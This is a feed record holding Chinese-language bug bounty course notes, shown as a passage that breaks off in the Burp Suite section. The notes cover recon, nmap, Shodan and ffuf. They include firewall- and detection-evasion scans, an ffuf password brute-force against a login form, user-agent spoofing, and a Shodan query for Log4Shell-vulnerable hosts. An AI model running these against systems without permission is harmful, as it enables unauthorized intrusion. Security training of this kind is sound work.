{"uuid": "e80e99fc-da6e-4ef1-9f03-18cd25f2cccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-44228", "type": "seen", "source": "https://gist.github.com/2024fatwolf55/809f4ebb64e9a653fd4f4600fa76f7fd", "content": "# Bug Bounty Course 2024 \n\n## \u76ee\u9304\n\n\u672c\u7b46\u8a18\u5c07Ryan John\u7684Bug Bounty Course 2024\u5f71\u7247\u5167\u5bb9\uff0c\u7d50\u5408\u6700\u65b0\u7684\u5b78\u8853\u7814\u7a76\u548c\u5be6\u52d9\u6307\u5357\uff0c\u88fd\u4f5c\u6210\u4e00\u4efd\u5b8c\u6574\u7684\u6280\u8853\u5b78\u7fd2\u624b\u518a\u3002\u6bcf\u500b\u6b65\u9a5f\u90fd\u6703\u8a73\u7d30\u8aaa\u660e\uff0c\u8b93\u5b8c\u5168\u6c92\u6709\u57fa\u790e\u7684\u521d\u5b78\u8005\u4e5f\u80fd\u7406\u89e3\u4e26\u5be6\u969b\u64cd\u4f5c\u3002\n\n## \u7b2c\u4e00\u90e8\u5206\uff1aBug Bounty\u57fa\u790e\u6982\u5ff5\u8207\u74b0\u5883\u6e96\u5099\n\n### 1.1 \u4ec0\u9ebc\u662fBug Bounty\uff1f\n\nBug Bounty\uff08\u6f0f\u6d1e\u8cde\u91d1\u7375\u4eba\uff09\u662f\u4e00\u7a2e\u5408\u6cd5\u7684\u7db2\u8def\u5b89\u5168\u6d3b\u52d5\uff0c\u516c\u53f8\u6216\u7d44\u7e54\u63d0\u4f9b\u734e\u52f5\u7d66\u767c\u73fe\u4e26\u5831\u544a\u5176\u7cfb\u7d71\u5b89\u5168\u6f0f\u6d1e\u7684\u7814\u7a76\u4eba\u54e1\u3002\u9019\u4e0d\u662f\u99ed\u5ba2\u884c\u70ba\uff0c\u800c\u662f\u4e00\u7a2e**\u5efa\u8a2d\u6027\u7684\u5b89\u5168\u6e2c\u8a66**\u3002\n\n**\u6838\u5fc3\u6982\u5ff5\uff1a**\n\n- **\u767d\u5e3d\u99ed\u5ba2**\uff1a\u4f7f\u7528\u99ed\u5ba2\u6280\u8853\u4f46\u76ee\u7684\u662f\u6539\u5584\u5b89\u5168\u6027\n- **\u8cac\u4efb\u63ed\u9732**\uff1a\u767c\u73fe\u6f0f\u6d1e\u5f8c\u8ca0\u8cac\u4efb\u5730\u5831\u544a\u7d66\u5ee0\u5546\n- **\u5408\u6cd5\u6388\u6b0a**\uff1a\u53ea\u5728\u7372\u5f97\u660e\u78ba\u8a31\u53ef\u7684\u7cfb\u7d71\u4e0a\u9032\u884c\u6e2c\u8a66\n- **\u5546\u696d\u6a21\u5f0f**\uff1a\u900f\u904e\u767c\u73fe\u6f0f\u6d1e\u7372\u5f97\u5408\u6cd5\u5831\u916c\n\n**Bug Bounty\u751f\u614b\u7cfb\u7d71\uff1a**\n\n1. **\u7814\u7a76\u4eba\u54e1**\uff1a\u5c0b\u627e\u6f0f\u6d1e\u7684\u5b89\u5168\u5c08\u5bb6\uff08\u5c31\u662f\u4f60\uff01\uff09\n2. **\u76ee\u6a19\u516c\u53f8**\uff1a\u5e0c\u671b\u6539\u5584\u5b89\u5168\u6027\u7684\u7d44\u7e54\n3. **\u5e73\u53f0**\uff1a\u9023\u63a5\u7814\u7a76\u4eba\u54e1\u548c\u516c\u53f8\u7684\u4e2d\u4ecb\u5e73\u53f0\n4. **\u793e\u7fa4**\uff1a\u5206\u4eab\u77e5\u8b58\u548c\u7d93\u9a57\u7684\u5b89\u5168\u793e\u7fa4\n\n### 1.2 \u4e3b\u8981Bug Bounty\u5e73\u53f0\u8a73\u89e3\n\n**HackerOne**\uff1a\n\n- \u5168\u7403\u6700\u5927\u7684Bug Bounty\u5e73\u53f0\n- \u8d85\u904e4000\u500b\u6d3b\u8e8d\u7a0b\u5e8f\n- \u5e73\u5747\u734e\u52f5\u7bc4\u570d\uff1a\\$100-\\$50,000\n- \u9069\u5408\u6240\u6709\u7d1a\u5225\u7684\u7814\u7a76\u4eba\u54e1\n- \u63d0\u4f9b\u8a73\u7d30\u7684\u6f0f\u6d1e\u5206\u985e\u548c\u5831\u544a\u6a21\u677f\n\n**Bugcrowd**\uff1a\n\n- \u7b2c\u4e8c\u5927Bug Bounty\u5e73\u53f0\n- \u5c08\u6ce8\u65bc\u4f01\u696d\u7d1a\u5ba2\u6236\n- \u63d0\u4f9b\u5c08\u696d\u7684\u5354\u8abf\u670d\u52d9\n- \u5e73\u5747\u734e\u52f5\u8f03HackerOne\u7565\u9ad8\n- \u6709\u56b4\u683c\u7684\u7814\u7a76\u4eba\u54e1\u5be9\u6838\u5236\u5ea6\n\n**Intigriti**\uff1a\n\n- \u6b50\u6d32\u9818\u5148\u7684\u5e73\u53f0\n- \u79c1\u4eba\u9080\u8acb\u5236\uff0c\u7af6\u722d\u8f03\u5c0f\n- \u6ce8\u91cd\u54c1\u8cea\u800c\u975e\u6578\u91cf\n- \u63d0\u4f9b\u512a\u79c0\u7684\u6280\u8853\u652f\u63f4\n\n\n### 1.3 \u5b78\u7fd2\u74b0\u5883\u8a2d\u7f6e\n\n**\u865b\u64ec\u6a5f\u5668\u8a2d\u7f6e**\uff1a\n\n1. **\u4e0b\u8f09\u865b\u64ec\u5316\u8edf\u9ad4**\uff1a\n - VMware Workstation Pro\uff08\u63a8\u85a6\uff09\n - VirtualBox\uff08\u514d\u8cbb\u9078\u9805\uff09\n - Parallels Desktop\uff08Mac\u7528\u6236\uff09\n2. **\u4e0b\u8f09Kali Linux**\uff1a\n\n```bash\n# \u5b98\u65b9\u4e0b\u8f09\u9023\u7d50\nhttps://www.kali.org/get-kali/\n# \u9078\u64c7VMware\u6216VirtualBox\u7248\u672c\n# \u5efa\u8b70\u4e0b\u8f0964\u4f4d\u7248\u672c\n```\n\n3. **\u7cfb\u7d71\u914d\u7f6e**\uff1a\n\n```bash\n# \u66f4\u65b0\u7cfb\u7d71\nsudo apt update && sudo apt upgrade -y\n\n# \u5b89\u88dd\u984d\u5916\u5de5\u5177\nsudo apt install -y curl wget git vim htop\n\n# \u8a2d\u5b9a\u6642\u5340\nsudo timedatectl set-timezone Asia/Taipei\n```\n\n\n**\u57fa\u672c\u5de5\u5177\u5b89\u88dd**\uff1a\n\n```bash\n# \u78ba\u8a8d\u9810\u88dd\u5de5\u5177\nnmap --version\nburpsuite --version\nffuf --version\n\n# \u5b89\u88dd\u984d\u5916\u5de5\u5177\nsudo apt install -y gobuster nikto dirb sqlmap\npip3 install subfinder\ngo install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest\n```\n\n\n## \u7b2c\u4e8c\u90e8\u5206\uff1a\u5075\u5bdf\u6280\u8853\u8a73\u89e3\n\n### 2.1 \u5075\u5bdf\u57fa\u790e\u7406\u8ad6\n\n\u5075\u5bdf\uff08Reconnaissance\uff09\u662fBug Bounty\u7684\u6838\u5fc3\u6280\u80fd\uff0c\u4f54\u6574\u500b\u6e2c\u8a66\u904e\u7a0b\u768470-80%\u6642\u9593\u3002\u597d\u7684\u5075\u5bdf\u80fd\u5e6b\u4f60\u767c\u73fe\u5176\u4ed6\u4eba\u932f\u904e\u7684\u653b\u64ca\u9762\u3002\n\n**\u5075\u5bdf\u985e\u578b\u5206\u6790\uff1a**\n\n**\u88ab\u52d5\u5075\u5bdf**\uff1a\n\n- **\u5b9a\u7fa9**\uff1a\u4e0d\u76f4\u63a5\u63a5\u89f8\u76ee\u6a19\u7cfb\u7d71\uff0c\u4f7f\u7528\u516c\u958b\u8cc7\u8a0a\n- **\u512a\u9ede**\uff1a\u5b8c\u5168\u96b1\u853d\uff0c\u4e0d\u6703\u88ab\u767c\u73fe\n- **\u7f3a\u9ede**\uff1a\u8cc7\u8a0a\u53ef\u80fd\u904e\u6642\u6216\u4e0d\u5b8c\u6574\n- **\u5de5\u5177**\uff1aGoogle\u641c\u5c0b\u3001Shodan\u3001\u8b49\u66f8\u900f\u660e\u5ea6\u65e5\u8a8c\n\n**\u4e3b\u52d5\u5075\u5bdf**\uff1a\n\n- **\u5b9a\u7fa9**\uff1a\u76f4\u63a5\u8207\u76ee\u6a19\u7cfb\u7d71\u4e92\u52d5\u7372\u53d6\u8cc7\u8a0a\n- **\u512a\u9ede**\uff1a\u8cc7\u8a0a\u6e96\u78ba\u3001\u5373\u6642\n- **\u7f3a\u9ede**\uff1a\u53ef\u80fd\u88ab\u8a18\u9304\u6216\u5c01\u9396\n- **\u5de5\u5177**\uff1aNmap\u3001ping\u3001traceroute\n\n\n### 2.2 \u5b50\u57df\u540d\u679a\u8209\u6280\u8853\u8a73\u89e3\n\n\u5b50\u57df\u540d\u679a\u8209\u662f\u767c\u73fe\u66f4\u591a\u653b\u64ca\u9762\u7684\u95dc\u9375\u6280\u8853\u3002[^13][^14][^15][^16]\n\n**2.2.1 Subfinder\u4f7f\u7528\u8a73\u89e3**\uff1a\n\n```bash\n# \u57fa\u672c\u7528\u6cd5\nsubfinder -d target.com\n\n# \u8f38\u51fa\u5230\u6a94\u6848\nsubfinder -d target.com -o subdomains.txt\n\n# \u4f7f\u7528\u591a\u500b\u57df\u540d\nsubfinder -dL domains.txt -o all_subdomains.txt\n\n# \u53ea\u986f\u793a\u89e3\u6790\u6210\u529f\u7684\u5b50\u57df\u540d\nsubfinder -d target.com -nW\n\n# \u4f7f\u7528\u6240\u6709\u88ab\u52d5\u4f86\u6e90\nsubfinder -d target.com -all\n\n# \u8a2d\u5b9aAPI\u5bc6\u9470\uff08\u63d0\u9ad8\u767c\u73fe\u7387\uff09\nsubfinder -d target.com -config ~/.config/subfinder/config.yaml\n```\n\n**\u914d\u7f6eAPI\u5bc6\u9470**\uff1a\n\n```yaml\n# ~/.config/subfinder/config.yaml\nversion: 2\nsources:\n - virustotal\n - shodan\n - censys\n - fofa\n - spyse\n - github\n - chaos\n\n# API\u5bc6\u9470\u914d\u7f6e\nvirustotal:\n - \"your-virustotal-api-key\"\nshodan:\n - \"your-shodan-api-key\"\ngithub:\n - \"your-github-token\"\n```\n\n**2.2.2 Amass\u9032\u968e\u4f7f\u7528**\uff1a\n\n```bash\n# \u57fa\u672c\u679a\u8209\namass enum -d target.com\n\n# \u88ab\u52d5\u679a\u8209\uff08\u63a8\u85a6\uff09\namass enum -passive -d target.com -o amass_passive.txt\n\n# \u4e3b\u52d5\u679a\u8209\uff08\u9700\u8b39\u614e\uff09\namass enum -active -d target.com -o amass_active.txt\n\n# \u4f7f\u7528\u5b57\u5178\u66b4\u529b\u7834\u89e3\namass enum -d target.com -brute -w /usr/share/wordlists/subdomains.txt\n\n# \u8a73\u7d30\u8f38\u51fa\namass enum -d target.com -v\n\n# \u8a2d\u5b9aDNS\u4f3a\u670d\u5668\namass enum -d target.com -r 8.8.8.8,1.1.1.1\n\n# \u8f38\u51fa\u70baJSON\u683c\u5f0f\namass enum -d target.com -json amass_output.json\n```\n\n**2.2.3 \u591a\u5de5\u5177\u7d44\u5408\u7b56\u7565**\uff1a[^17]\n\n```bash\n#!/bin/bash\n# \u5b50\u57df\u540d\u679a\u8209\u8173\u672c\nTARGET=$1\n\necho \"[+] \u958b\u59cb\u5c0d $TARGET \u9032\u884c\u5b50\u57df\u540d\u679a\u8209\"\n\n# \u4f7f\u7528Subfinder\necho \"[+] \u904b\u884cSubfinder...\"\nsubfinder -d $TARGET -o subfinder_$TARGET.txt\n\n# \u4f7f\u7528Amass\necho \"[+] \u904b\u884cAmass...\"\namass enum -passive -d $TARGET -o amass_$TARGET.txt\n\n# \u4f7f\u7528Assetfinder\necho \"[+] \u904b\u884cAssetfinder...\"\nassetfinder $TARGET > assetfinder_$TARGET.txt\n\n# \u5408\u4f75\u4e26\u53bb\u91cd\necho \"[+] \u5408\u4f75\u7d50\u679c...\"\ncat subfinder_$TARGET.txt amass_$TARGET.txt assetfinder_$TARGET.txt | sort -u > all_subdomains_$TARGET.txt\n\n# \u6aa2\u67e5\u5b58\u6d3b\necho \"[+] \u6aa2\u67e5\u5b58\u6d3b\u5b50\u57df\u540d...\"\nhttpx -l all_subdomains_$TARGET.txt -o live_subdomains_$TARGET.txt\n\necho \"[+] \u5b8c\u6210\uff01\u767c\u73fe $(wc -l < live_subdomains_$TARGET.txt) \u500b\u5b58\u6d3b\u5b50\u57df\u540d\"\n```\n\n\n### 2.3 Nmap\u6383\u63cf\u6280\u8853\u6df1\u5165\u89e3\u6790\n\n**2.3.1 \u57fa\u672c\u6383\u63cf\u6280\u8853**\uff1a[^18][^19][^20][^21]\n\n```bash\n# \u57fa\u672c\u6383\u63cf\uff08\u6383\u63cf\u6700\u5e38\u898b\u76841000\u500b\u7aef\u53e3\uff09\nnmap target.com\n\n# \u6383\u63cf\u6240\u6709\u7aef\u53e3\nnmap -p- target.com\n\n# \u5feb\u901f\u6383\u63cf\uff08100\u500b\u6700\u5e38\u898b\u7aef\u53e3\uff09\nnmap -F target.com\n\n# \u6383\u63cf\u7279\u5b9a\u7aef\u53e3\nnmap -p 80,443,22,21,25 target.com\n\n# \u6383\u63cf\u7aef\u53e3\u7bc4\u570d\nnmap -p 1-1000 target.com\n\n# \u6383\u63cf\u524dN\u500b\u6700\u5e38\u898b\u7aef\u53e3\nnmap --top-ports 1000 target.com\n```\n\n**2.3.2 \u96b1\u853d\u6383\u63cf\u6280\u8853**\uff1a[^22]\n\n```bash\n# SYN\u6383\u63cf\uff08\u534a\u958b\u9023\u63a5\uff0c\u9810\u8a2d\u6383\u63cf\u65b9\u5f0f\uff09\nnmap -sS target.com\n\n# \u5206\u7247\u5c01\u5305\uff08\u8eb2\u907f\u9632\u706b\u7246\uff09\nnmap -f target.com\n\n# \u4f7f\u7528\u8a98\u990cIP\uff08\u6df7\u6dc6\u771f\u5be6\u4f86\u6e90\uff09\nnmap -D 10.0.0.2,10.0.0.3,ME target.com\n\n# \u96a8\u6a5f\u8a98\u990cIP\nnmap -D RND:10 target.com\n\n# \u6642\u5e8f\u63a7\u5236\uff08T1\u6700\u6162\uff0cT5\u6700\u5feb\uff09\nnmap -T1 target.com # \u6975\u6162\uff0c\u9069\u5408\u8eb2\u907f\u5075\u6e2c\nnmap -T2 target.com # \u6162\nnmap -T3 target.com # \u6b63\u5e38\uff08\u9810\u8a2d\uff09\nnmap -T4 target.com # \u5feb\nnmap -T5 target.com # \u6975\u5feb\n\n# \u96a8\u6a5f\u5316\u7aef\u53e3\u6383\u63cf\u9806\u5e8f\nnmap --randomize-hosts target1.com target2.com\n\n# \u8a2d\u5b9a\u81ea\u5b9a\u7fa9\u5c01\u5305\u9593\u9694\nnmap --scan-delay 1s target.com\n```\n\n**2.3.3 \u670d\u52d9\u7248\u672c\u5075\u6e2c**\uff1a[^23][^24]\n\n```bash\n# \u57fa\u672c\u7248\u672c\u5075\u6e2c\nnmap -sV target.com\n\n# \u7248\u672c\u5075\u6e2c\u5f37\u5ea6\uff080-9\uff0c9\u6700\u5f37\uff09\nnmap -sV --version-intensity 9 target.com\n\n# \u4f5c\u696d\u7cfb\u7d71\u5075\u6e2c\nnmap -O target.com\n\n# \u7d44\u5408\u6383\u63cf\nnmap -sV -O -sC target.com\n\n# \u7a4d\u6975\u6383\u63cf\uff08\u5305\u542b\u7248\u672c\u3001\u4f5c\u696d\u7cfb\u7d71\u3001\u8173\u672c\u6383\u63cf\uff09\nnmap -A target.com\n\n# \u4f7f\u7528\u7279\u5b9aNSE\u8173\u672c\nnmap --script vuln target.com\nnmap --script \"http-*\" target.com\nnmap --script \"ssl-*\" target.com\n```\n\n**2.3.4 NSE\u8173\u672c\u4f7f\u7528**\uff1a[^24][^22]\n\n```bash\n# \u67e5\u770b\u53ef\u7528\u8173\u672c\nnmap --script-help all\n\n# \u67e5\u770b\u7279\u5b9a\u985e\u5225\u8173\u672c\nls /usr/share/nmap/scripts/ | grep http\n\n# \u6f0f\u6d1e\u6383\u63cf\nnmap --script vulners target.com\nnmap --script vulscan target.com\n\n# HTTP\u679a\u8209\nnmap --script http-enum target.com\nnmap --script http-methods target.com\nnmap --script http-headers target.com\n\n# SSL/TLS\u6e2c\u8a66\nnmap --script ssl-cert target.com\nnmap --script ssl-enum-ciphers target.com\n\n# SMB\u679a\u8209\uff08Windows\u7cfb\u7d71\uff09\nnmap --script smb-enum-shares target.com\nnmap --script smb-enum-users target.com\n\n# \u81ea\u5b9a\u7fa9\u8173\u672c\u53c3\u6578\nnmap --script http-enum --script-args http-enum.basepath='/admin/' target.com\n```\n\n\n### 2.4 Shodan\u4f7f\u7528\u8a73\u89e3\n\nShodan\u662f\u7db2\u8def\u8a2d\u5099\u641c\u7d22\u5f15\u64ce\uff0c\u53ef\u4ee5\u627e\u5230\u9023\u63a5\u5230\u7db2\u969b\u7db2\u8def\u7684\u4efb\u4f55\u8a2d\u5099\u3002\n\n**\u57fa\u672c\u4f7f\u7528**\uff1a\n\n```bash\n# \u521d\u59cb\u5316Shodan CLI\nshodan init YOUR_API_KEY\n\n# \u57fa\u672c\u641c\u7d22\nshodan search apache\n\n# \u641c\u7d22\u7279\u5b9a\u7d44\u7e54\nshodan search org:\"Target Company\"\n\n# \u641c\u7d22\u7279\u5b9a\u570b\u5bb6\nshodan search country:TW\n\n# \u641c\u7d22\u7279\u5b9a\u7aef\u53e3\nshodan search port:22\n\n# \u7d44\u5408\u641c\u7d22\nshodan search \"nginx 1.14\" country:US\n\n# \u7d71\u8a08\u7d50\u679c\u6578\u91cf\nshodan count \"apache 2.4\"\n\n# \u4e0b\u8f09\u641c\u7d22\u7d50\u679c\nshodan download apache_servers apache\n\n# \u89e3\u6790\u4e0b\u8f09\u7684\u7d50\u679c\nshodan parse --fields ip_str,port,org apache_servers.json.gz\n```\n\n**\u9032\u968e\u641c\u7d22\u8a9e\u6cd5**\uff1a\n\n```bash\n# \u641c\u7d22\u7279\u5b9a\u7522\u54c1\u548c\u7248\u672c\nproduct:\"Apache httpd\" version:\"2.4.41\"\n\n# \u641c\u7d22\u6f0f\u6d1e\nvuln:CVE-2021-44228\n\n# \u641c\u7d22\u7279\u5b9a\u7db2\u6bb5\nnet:192.168.1.0/24\n\n# \u641c\u7d22\u7279\u5b9a\u57ce\u5e02\ncity:\"Taipei\"\n\n# \u641c\u7d22SSL\u6191\u8b49\nssl:\"*.target.com\"\n\n# \u641c\u7d22HTTP\u6a19\u984c\nhttp.title:\"Welcome\"\n\n# \u641c\u7d22HTTP\u72c0\u614b\u78bc\nhttp.status:200\n\n# \u6392\u9664\u7279\u5b9a\u7d50\u679c\napache -nginx\n```\n\n\n## \u7b2c\u4e09\u90e8\u5206\uff1aWeb\u61c9\u7528\u7a0b\u5f0f\u6a21\u7cca\u6e2c\u8a66\uff08Fuzzing\uff09\n\n### 3.1 ffuf\u5b8c\u5168\u4f7f\u7528\u6307\u5357\n\nffuf\uff08Fuzz Faster U Fool\uff09\u662f\u6700\u5feb\u7684Web\u6a21\u7cca\u6e2c\u8a66\u5de5\u5177\u4e4b\u4e00\u3002[^25][^26][^27][^28]\n\n**3.1.1 \u57fa\u672c\u76ee\u9304/\u6a94\u6848\u767c\u73fe**\uff1a[^28]\n\n```bash\n# \u57fa\u672c\u76ee\u9304\u6a21\u7cca\u6e2c\u8a66\nffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt\n\n# \u6a21\u7cca\u6e2c\u8a66\u6a94\u6848\u64f4\u5c55\u540d\nffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.html,.txt,.js\n\n# \u6a21\u7cca\u6e2c\u8a66\u5b50\u76ee\u9304\nffuf -u http://target.com/admin/FUZZ -w /usr/share/wordlists/dirb/common.txt\n\n# \u905e\u6b78\u6a21\u7cca\u6e2c\u8a66\nffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -recursion -recursion-depth 2\n\n# \u9650\u5236\u905e\u6b78\u7684\u6700\u5927\u6642\u9593\nffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -recursion -maxtime-job 60\n```\n\n**3.1.2 \u9ad8\u7d1a\u904e\u6ffe\u6280\u8853**\uff1a[^27]\n\n```bash\n# \u904e\u6ffeHTTP\u72c0\u614b\u78bc\nffuf -u http://target.com/FUZZ -w wordlist.txt -fc 404,403\n\n# \u53ea\u986f\u793a\u7279\u5b9a\u72c0\u614b\u78bc\nffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302\n\n# \u904e\u6ffe\u56de\u61c9\u5927\u5c0f\nffuf -u http://target.com/FUZZ -w wordlist.txt -fs 1234\n\n# \u904e\u6ffe\u5305\u542b\u7279\u5b9a\u5b57\u4e32\u7684\u56de\u61c9\nffuf -u http://target.com/FUZZ -w wordlist.txt -fr \"Not Found\"\n\n# \u904e\u6ffe\u56de\u61c9\u884c\u6578\nffuf -u http://target.com/FUZZ -w wordlist.txt -fl 50\n\n# \u7d44\u5408\u904e\u6ffe\u689d\u4ef6\nffuf -u http://target.com/FUZZ -w wordlist.txt -fc 404 -fs 0 -fw 1\n```\n\n**3.1.3 POST\u53c3\u6578\u6a21\u7cca\u6e2c\u8a66**\uff1a[^26]\n\n```bash\n# POST\u6578\u64da\u6a21\u7cca\u6e2c\u8a66\nffuf -u http://target.com/login.php -X POST -d \"username=admin&password=FUZZ\" -w passwords.txt -fc 401\n\n# JSON\u683c\u5f0fPOST\nffuf -u http://target.com/api/login -X POST -H \"Content-Type: application/json\" -d '{\"username\":\"admin\",\"password\":\"FUZZ\"}' -w passwords.txt\n\n# \u591a\u53c3\u6578\u6a21\u7cca\u6e2c\u8a66\nffuf -u http://target.com/search.php -X POST -d \"search=FUZZ&category=W2\" -w wordlist1.txt:FUZZ -w wordlist2.txt:W2\n\n# Cookie\u6a21\u7cca\u6e2c\u8a66\nffuf -u http://target.com/FUZZ -w wordlist.txt -H \"Cookie: sessionid=abc123; csrftoken=FUZZ2\" -w csrf_tokens.txt:FUZZ2\n```\n\n**3.1.4 \u901f\u5ea6\u63a7\u5236\u548c\u96b1\u853d\u6027**\uff1a[^27]\n\n```bash\n# \u63a7\u5236\u4e26\u767c\u6578\uff08\u9810\u8a2d40\uff09\nffuf -u http://target.com/FUZZ -w wordlist.txt -t 10\n\n# \u6dfb\u52a0\u5ef6\u9072\uff08\u6bcf\u500b\u8acb\u6c42\u9593\u9694\uff09\nffuf -u http://target.com/FUZZ -w wordlist.txt -p 1\n\n# \u8a2d\u5b9a\u8d85\u6642\u6642\u9593\nffuf -u http://target.com/FUZZ -w wordlist.txt -timeout 30\n\n# \u9650\u5236\u7e3d\u57f7\u884c\u6642\u9593\nffuf -u http://target.com/FUZZ -w wordlist.txt -maxtime 300\n\n# \u4f7f\u7528\u4ee3\u7406\nffuf -u http://target.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8080\n\n# \u81ea\u5b9a\u7fa9User-Agent\nffuf -u http://target.com/FUZZ -w wordlist.txt -H \"User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)\"\n```\n\n**3.1.5 \u8f38\u51fa\u548c\u5831\u544a**\uff1a\n\n```bash\n# \u8f38\u51fa\u70baJSON\u683c\u5f0f\nffuf -u http://target.com/FUZZ -w wordlist.txt -o results.json -of json\n\n# \u8f38\u51fa\u70baHTML\u5831\u544a\nffuf -u http://target.com/FUZZ -w wordlist.txt -o results.html -of html\n\n# \u8a73\u7d30\u8f38\u51fa\nffuf -u http://target.com/FUZZ -w wordlist.txt -v\n\n# \u975c\u9ed8\u6a21\u5f0f\uff08\u53ea\u986f\u793a\u7d50\u679c\uff09\nffuf -u http://target.com/FUZZ -w wordlist.txt -s\n```\n\n\n### 3.2 \u81ea\u5b9a\u7fa9\u5b57\u5178\u6a94\u6848\n\n**\u5e38\u7528\u5b57\u5178\u8cc7\u6e90**\uff1a\n\n```bash\n# SecLists\uff08\u6700\u5168\u9762\u7684\u5b57\u5178\u96c6\u5408\uff09\ngit clone https://github.com/danielmiessler/SecLists.git\n\n# \u5e38\u7528\u76ee\u9304\u5b57\u5178\n/usr/share/wordlists/dirb/common.txt\n/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\nSecLists/Discovery/Web-Content/directory-list-2.3-big.txt\n\n# \u6a94\u6848\u5b57\u5178\nSecLists/Discovery/Web-Content/web-extensions.txt\nSecLists/Discovery/Web-Content/common.txt\n\n# \u53c3\u6578\u5b57\u5178\nSecLists/Discovery/Web-Content/burp-parameter-names.txt\n```\n\n**\u5275\u5efa\u81ea\u5b9a\u7fa9\u5b57\u5178**\uff1a\n\n```bash\n#!/bin/bash\n# \u5f9e\u76ee\u6a19\u7db2\u7ad9\u63d0\u53d6\u5b57\u5178\n\n# \u5f9erobots.txt\u63d0\u53d6\u8def\u5f91\ncurl -s http://target.com/robots.txt | grep -E '^(Disallow|Allow):' | cut -d':' -f2 | sort -u > robots_paths.txt\n\n# \u5f9esitemap.xml\u63d0\u53d6\u8def\u5f91\ncurl -s http://target.com/sitemap.xml | grep -oE '[^<]+' | sed 's///g;s/<\\/loc>//g' > sitemap_urls.txt\n\n# \u5f9e\u6e90\u4ee3\u78bc\u4e2d\u63d0\u53d6\u8def\u5f91\ncurl -s http://target.com | grep -oE 'href=\"[^\"]+\"' | cut -d'\"' -f2 > source_paths.txt\n\n# \u5408\u4f75\u6240\u6709\u8def\u5f91\ncat robots_paths.txt sitemap_urls.txt source_paths.txt | sort -u > custom_wordlist.txt\n```\n\n\n## \u7b2c\u56db\u90e8\u5206\uff1aBurp Suite\u5b8c\u5168\u64cd\u4f5c\u6307\u5357\n\n### 4.1 Burp Suite\u5b89\u88dd\u8207\u914d\u7f6e\n\n**4.1.1 \u4e0b\u8f09\u548c\u5b89\u88dd**\uff1a[^29][^30]\n\n1. **\u5b98\u65b9\u4e0b\u8f09**\uff1a\n\n```\nhttps://portswigger.net/burp/communitydownload\n```\n\n2. **Linux\u5b89\u88dd**\uff1a\n\n```bash\n# \u4e0b\u8f09\u5f8c\u8ce6\u4e88\u57f7\u884c\u6b0a\u9650\nchmod +x burpsuite_community_linux.sh\n\n# \u57f7\u884c\u5b89\u88dd\n./burpsuite_community_linux.sh\n\n# \u6216\u76f4\u63a5\u904b\u884cJAR\u6a94\u6848\njava -jar -Xmx2g burpsuite_community.jar\n```\n\n3. **\u8a18\u61b6\u9ad4\u8a2d\u5b9a**\uff1a\n\n```bash\n# \u8a2d\u5b9a\u66f4\u5927\u7684\u8a18\u61b6\u9ad4\njava -jar -Xmx4g burpsuite_community.jar\n```\n\n\n**4.1.2 \u4ee3\u7406\u8a2d\u5b9a\u8a73\u89e3**\uff1a[^30][^29]\n\n1. **Burp\u4ee3\u7406\u8a2d\u5b9a**\uff1a\n - \u6253\u958bBurp Suite\n - \u9032\u5165`Proxy > Options`\n - \u78ba\u8a8d`Interface`\u8a2d\u5b9a\u70ba`127.0.0.1:8080`\n - \u5982\u679c\u7aef\u53e3\u88ab\u5360\u7528\uff0c\u6539\u70ba`8081`\u6216\u5176\u4ed6\u7aef\u53e3\n2. **\u700f\u89bd\u5668\u8a2d\u5b9a**\uff1a\n\n**Firefox\u624b\u52d5\u8a2d\u5b9a**\uff1a\n\n```\n\u8a2d\u5b9a > \u7db2\u8def\u8a2d\u5b9a > \u624b\u52d5\u4ee3\u7406\u8a2d\u5b9a\nHTTP\u4ee3\u7406\uff1a127.0.0.1 \u7aef\u53e3\uff1a8080\n\u52fe\u9078\u300c\u5c07\u6b64\u4ee3\u7406\u7528\u65bc\u6240\u6709\u5354\u5b9a\u300d\n```\n\n**Chrome\u4f7f\u7528FoxyProxy**\uff1a\n - \u5b89\u88ddFoxyProxy\u64f4\u5c55\n - \u65b0\u589e\u4ee3\u7406\uff1a127.0.0.1:8080\n - \u8a2d\u5b9a\u70baHTTP\u548cHTTPS\n3. **SSL\u6191\u8b49\u5b89\u88dd**\uff1a[^29]\n\n```\n1. \u700f\u89bd\u5668\u8a2a\u554f\uff1ahttp://burp\n2. \u4e0b\u8f09\u300cCA Certificate\u300d\n3. Firefox\uff1a\u8a2d\u5b9a > \u96b1\u79c1\u6b0a\u8207\u5b89\u5168\u6027 > \u6191\u8b49 > \u6aa2\u8996\u6191\u8b49 > \u532f\u5165\n4. Chrome\uff1a\u8a2d\u5b9a > \u9032\u968e > \u7ba1\u7406\u6191\u8b49 > \u532f\u5165\n```\n\n\n### 4.2 Burp Suite\u6838\u5fc3\u529f\u80fd\u8a73\u89e3\n\n**4.2.1 Proxy\u6a21\u7d44**\uff1a[^30]\n\n```\n\u57fa\u672c\u64cd\u4f5c\uff1a\n1. \u958b\u555fIntercept\uff1aProxy > Intercept > Intercept is on\n2. \u700f\u89bd\u76ee\u6a19\u7db2\u7ad9\uff0c\u8acb\u6c42\u6703\u88ab\u6514\u622a\n3. \u6aa2\u67e5\u8acb\u6c42\u5167\u5bb9\n4. \u9ede\u64ca\u300cForward\u300d\u767c\u9001\u8acb\u6c42\n5. \u67e5\u770bHTTP History\u4e86\u89e3\u6240\u6709\u6d41\u91cf\n```\n\n**\u9032\u968e\u6514\u622a\u898f\u5247**\uff1a\n\n```\nProxy > Options > Intercept Client Requests\n- \u52fe\u9078\u300cIntercept requests to in-scope targets only\u300d\n- \u65b0\u589e\u689d\u4ef6\uff1a\u300cAnd URL Is in target scope\u300d\n\nProxy > Options > Intercept Server Responses \n- \u52fe\u9078\u300cIntercept responses to in-scope targets only\u300d\n- \u65b0\u589e\u689d\u4ef6\uff1a\u300cAnd status code matches\u300d\u8a2d\u5b9a\u70ba\u300c500\u300d\n```\n\n**4.2.2 Target\u6a21\u7d44**\uff1a\n\n```\n\u7bc4\u570d\u8a2d\u5b9a\uff1a\n1. Target > Scope > Include in scope\n2. 